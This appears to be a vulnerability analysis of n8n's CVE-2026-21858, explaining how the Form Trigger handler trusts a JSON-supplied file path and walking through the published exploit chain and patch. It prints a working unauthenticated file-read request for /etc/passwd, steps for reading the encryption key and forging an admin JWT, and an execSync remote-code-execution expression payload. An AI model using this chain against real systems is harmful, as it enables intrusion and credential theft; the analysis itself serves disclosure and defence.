The handler reads files. It does not ask who wrote it.
prepareFormReturnItem lives in packages/nodes-base/nodes/Form/utils/utils.ts and is the function the Form Trigger node calls to turn an inbound webhook request into a workflow item. The 1.65.0 source is short enough to read in one pass:
export async function prepareFormReturnItem(
context: IWebhookFunctions,
formFields: FormFieldsParameter,
mode: 'test' | 'production',
useWorkflowTimezone: boolean = false,
) {
const bodyData = (context.getBodyData().data as IDataObject) ?? {};
const files = (context.getBodyData().files as IDataObject) ?? {};
const returnItem: INodeExecutionData = { json: {} };
if (files && Object.keys(files).length) {
returnItem.binary = {};
}
for (const key of Object.keys(files)) {
const processFiles: MultiPartFormData.File[] = [];
let multiFile = false;
const filesInput = files[key] as MultiPartFormData.File[] | MultiPartFormData.File;
// ... shape-normalise into processFiles ...
for (const file of processFiles) {
let binaryPropertyName = fieldLabel.replace(/\W/g, '_');
if (multiFile) binaryPropertyName += `_${fileCount++}`;
returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
file.filepath,
file.originalFilename ?? file.newFilename,
file.mimetype,
);
}
}
// ... build json fields ...
return returnItem;
}
The function is named prepareFormReturnItem. The variable is named files. The element type is cast to MultiPartFormData.File. The contract that makes the function safe lives in those three names, and nowhere else in the function body. There is no runtime predicate that confirms the parser was Formidable. There is no runtime predicate that confirms filepath resolves under os.tmpdir(). There is no runtime predicate that confirms the request was the multipart kind.
context.nodeHelpers.copyBinaryFile(filepath, ...) is the dangerous call. It reads the file at filepath off disk and returns a binary blob the workflow attaches to its execution data. When the next node in the workflow is respondToWebhook with respondWith: "binary", that blob becomes the HTTP response body. /etc/passwd round-trips the request as the 200 OK.
Two parsers, one body field
n8n's webhook server runs on Express. Express body parsing is dispatched on Content-Type:
multipart/form-data routes through Formidable. Formidable streams each file part to a randomly named temp file under os.tmpdir(), then assembles req.body = { data: {...form fields...}, files: { name: { filepath: '/tmp/<random>', originalFilename, mimetype, size } } }. Every entry in files is metadata Formidable wrote, and filepath points at content Formidable just received from the requester.
application/json routes through express.json(). It calls JSON.parse on the raw body and assigns the result to req.body whole. There is no per-field policing. If the JSON decoded contains a files key, req.body.files is whatever the JSON said.
Both parsers populate the same field path on the same request object. Both deliver req.body.files. Only one of them has any reason to believe filepath is server-managed. The handler reading req.body.files does not know which parser ran.
The route registered for the form trigger is POST /form/<webhookId>. Express dispatches to the handler by URL, not Content-Type. The handler is reached for any Content-Type the route accepts, and getBodyData() returns whatever the parser wrote. The handler is named prepareFormReturnItem because it was written for the multipart path. The route accepts the JSON path.
This is the name-is-the-only-type pattern, the same shape as Mattermost's fileId, where the only code in the chain that treated a string as a file ID was the variable's name. n8n's req.body.files was named by the multipart parser. The handler honoured the name. The framework dispatched on URL.
The exploit is one POST
POST /form/<webhookId> HTTP/1.1
Host: target:5678
Content-Type: application/json
{
"data": {},
"files": {
"f-abc123": {
"filepath": "/etc/passwd",
"originalFilename": "x.bin",
"mimetype": "application/octet-stream",
"size": 878
}
}
}
express.json() parses the body. prepareFormReturnItem reads req.body.files, iterates f-abc123, calls copyBinaryFile("/etc/passwd", "x.bin", "application/octet-stream"), and stages the contents as returnItem.binary.f_abc123. The Respond node downstream returns returnItem.binary.f_abc123.data as the HTTP response body. The requester reads /etc/passwd as the response to a single unauthenticated POST.
The bug requires the deployed workflow to wire the Form Trigger to a respondToWebhook node configured with respondWith: "binary". Cyera's original disclosure demonstrates a different exfiltration path through n8n's chat-with-AI workflow. Chocapikk's exploit, published independently after the patch shipped, lands on the Respond node path because it is the most common shape of file-processing workflow operators self-host on n8n: form uploads file, workflow transforms file, workflow returns file. File converters, image resizers, document-to-PDF pipelines, RAG ingestion forms. Chocapikk lists eleven public GitHub repos shipping community workflows in this exact shape.
One file read is the session
The file-read primitive is the entire bug. The chain to admin and then to RCE is what an operator does with the primitive once it lands.
read /proc/self/environ -> HOME
read $HOME/.n8n/config -> encryptionKey
read $HOME/.n8n/database.sqlite -> admin uuid + email + bcrypt hash
n8n's encryptionKey lives on disk because n8n needs it at startup to decrypt stored credentials. n8n's JWT signing secret is not in the config. n8n derives it deterministically from the encryption key:
jwt_secret = sha256(encryption_key[::2]).hexdigest()
Every other character of the encryption key, hashed. There is no separate secret to leak. Reading ~/.n8n/config is reading the JWT signing secret in disguise. Forging the admin session is jwt.encode({"id": uid, "hash": h}, jwt_secret, "HS256"), where h is the first ten characters of b64(sha256(email + ":" + password_hash)). The bcrypt hash never has to be cracked. It only has to be hashed again, the same way n8n hashes it, and truncated.
Set the n8n-auth cookie to the forged JWT and GET /rest/users returns 200. The session is admin.
Admin to RCE: there is no expression sandbox
The chain's RCE step is CVE-2025-68613, an expression-injection bug filed against n8n's expression evaluator. Once the cookie is admin, Chocapikk's exploit creates a one-node workflow whose Set node holds an expression:
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Run the workflow. id runs as the n8n process. The output comes back in the execution_data row. n8n's own advisory for CVE-2025-68613 calls this an expression-injection sandbox bypass. The bypass mechanic is that this resolves to the expression evaluator's context, process is reachable on it, and process.mainModule.require is the host's require. n8n's Code node is sandboxed through vm2 and isolated-vm. The expression evaluator is not. It runs in the host's process and has the host's globals reachable on this. Calling CVE-2025-68613 a sandbox bypass is generous to the architecture: the expression evaluator does not have a sandbox to bypass, and this.process is reachable because nobody put a layer between the evaluator's this and the host's process.
Two distinct CVEs filed two months apart. One file-read bug in the Form node. One execution bug in the expression evaluator. Each ships separately. The chain composes them through the file system: read the encryption key off disk, derive the JWT, become admin, drive the un-sandboxed evaluator at command lines.
The patch is three asserts
The November 13 merge commit c8d604d is titled Merge commit from fork, the GitHub artifact left when a security fix ships from a private fork. It modifies seven files. Three of them are handler source. The diff against Form/utils/utils.ts adds two lines:
+import * as a from 'node:assert';
...
export async function prepareFormReturnItem(
context: IWebhookFunctions,
formFields: FormFieldsParameter,
mode: 'test' | 'production',
useWorkflowTimezone: boolean = false,
) {
+ const req = context.getRequestObject() as MultiPartFormData.Request;
+ a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
const bodyData = (context.getBodyData().data as IDataObject) ?? {};
const files = (context.getBodyData().files as IDataObject) ?? {};
The same one-line assertion lands in ChatTrigger.node.ts's handleFormData method. The same one-line assertion lands in Webhook.node.ts's file-handling method. Three handlers, three identical asserts, one commit. The remaining four files in the diff are unit tests that update mock requests to include contentType: 'multipart/form-data' so the new assertion does not blow up the test suite.
Three handlers had been reading req.body.files for years on the same assumption. The patch is the assumption written down, three times, one per handler. This is the design-debt-driver shape, the same as Apache HTTP Server's m->spurge where one invariant was assumed at consumers and only later enforced at producers. The substrate here is n8n's getBodyData() API: a framework method that returns whatever parser wrote, with no record of which parser ran. The next handler in the n8n codebase that reads body data without the same a.ok(req.contentType === ...) is the next entry into this CVE's bug class.
What the description names and what it does not
The CVE-2026-21858 record describes the bug as "improper input validation in webhook request handling." The vector reads AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N. The description and the vector both name the file-read primitive at its widest possible framing: an attacker over the network, with no auth, reads a file the n8n process can read.
The mechanism is narrower and more specific than the description carries. There was no input validation step the developer skipped. There was no field the developer forgot to escape. The handler read a parsed body object whose shape was correct under one Content-Type and was attacker-supplied under another. Three handlers shared the same assumption. The fix is the assumption written down, in the same words, in each of the three places.
n8n acknowledged Cyera's report on November 10, 2025 and shipped 1.121.0 on November 18, eight days later. The CVE was assigned January 6, 2026 and the disclosure landed January 7. Forty-nine days between patch and CVE assignment. The chain to RCE travels through CVE-2025-68613, an authenticated expression-evaluator bug n8n had patched separately in 1.120.4. n8n's release-notes language for CVE-2025-68613 is that it requires an "authenticated user with workflow editing permissions." CVE-2026-21858 is what makes that prerequisite into one HTTP POST.
PoC: Chocapikk/CVE-2026-21858, Bannt08/Research-CVE-2026-21858.